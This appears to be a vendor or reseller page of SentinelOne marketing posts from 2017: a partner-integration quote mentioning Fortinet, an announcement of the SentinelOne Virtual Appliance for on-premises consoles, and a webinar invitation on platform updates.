“SentinelOne has hit a number of significant milestones this year which strongly position the company as the ideal solution for threat prevention, automated response and remediation — all in a singular portable agent,” said Bernard. “Through our use of AI engines to power both static and behavioral analysis, SentinelOne’s technology is the most advanced and extensible technology in this space. Now that we are offering a robust set of APIs to develop a full ecosystem, there’s significant opportunity for partners to benefit from integrating our technology.”

Fortinet was SentinelOne’s first integration partner. Together, Fortinet and SentinelOne provide unparalleled visibility of threats by pairing Fortinet’s network security solutions with SentinelOne’s advanced endpoint capabilities. Threat intelligence from the endpoint is automatically generated and shared to FortiGate enterprise firewalls using Fortinet’s FortiClient Fabric Agent, giving IT unified visibility and control over their entire security infrastructure using FortiOS.


  • 0

SentinelOne Virtual Appliance, Cloud When You Want It, On-premises When You Need It

Category : Sentinel One

We are pleased to announce the immediate availability of the SentinelOne Virtual Appliance for customers who prefer to have their security consoles running in their own data centers.  SentinelOne has been serving the needs of these customers from our early days, but the new appliance cuts down the complexity in setting up the console on-premises.

Earlier, customers would set up the console on the right hardware (or on a VM with enough horsepower).  They had to make sure that all the dependent libraries and toolchain were available on the OS, run the console installer, install the certificate and start the console service.  This involved some pre-install prep and about an hour or two with a SentinelOne support engineer.  This complexity limited our velocity and only the largest and most motivated customers would go through this process.

With the Virtual Appliance, we are now the first (and only) next-generation endpoint solution to offer the same functionality on-premises and in the cloud.  The setup time is similar in both cases – within 15 minuteswe will be able to get you to log into the console and start deploying to your systems.

The virtual appliance is designed to run on all popular virtual infrastructure, scale with your deployment, hardened to protect against vulnerabilities and can be updated with the click of a button.  The appliance can be run on VMware, HyperV or even VirtualBox (for evals).  The default configuration can handle up to 1,000 devices and scaling to larger sizes involves adding more vCPUs, memory and disk.  The appliance also comes with monitoring scripts to help you maintain uptime and upgrade scripts for patching and installing server updates.

We welcome all defense contractors, federal agencies, FiServs, foreign governments, lab rats and anyone interested to try out our new Virtual Appliance.

Source: https://sentinelone.com/2017/07/21/sentinelone-virtual-appliance-cloud-when-you-want-it-on-premises-when-you-need-it/

Author: Raj Rajamani


  • 0

A Closer Look at SentinelOne

Category : Sentinel One

Date and time:
July 20th, 2017 at 10am PT | 1pm ET
Speakers: 
Rajiv Raghunarayan, SentinelOne Vice President, Product Marketing
Description:
Our R&D teams have had a busy year thus far and we would like to invite you to learn more about recent releases and updates made to the SentinelOne platform.
Rajiv, our VP of Product Marketing, will lead you through the changing threat landscape and provide an overall platform update.  Including:
  • VDI – full memory protection, threat visibility on decommissioned devices, and more
  • Updates to On-Premise Appliance for Fed, Gov, and GDPR use cases
  • A brief demo of SentinelOne with AWS workspaces
  • Highlights about recent ransomware attacks and our new executive team

Register now!


Support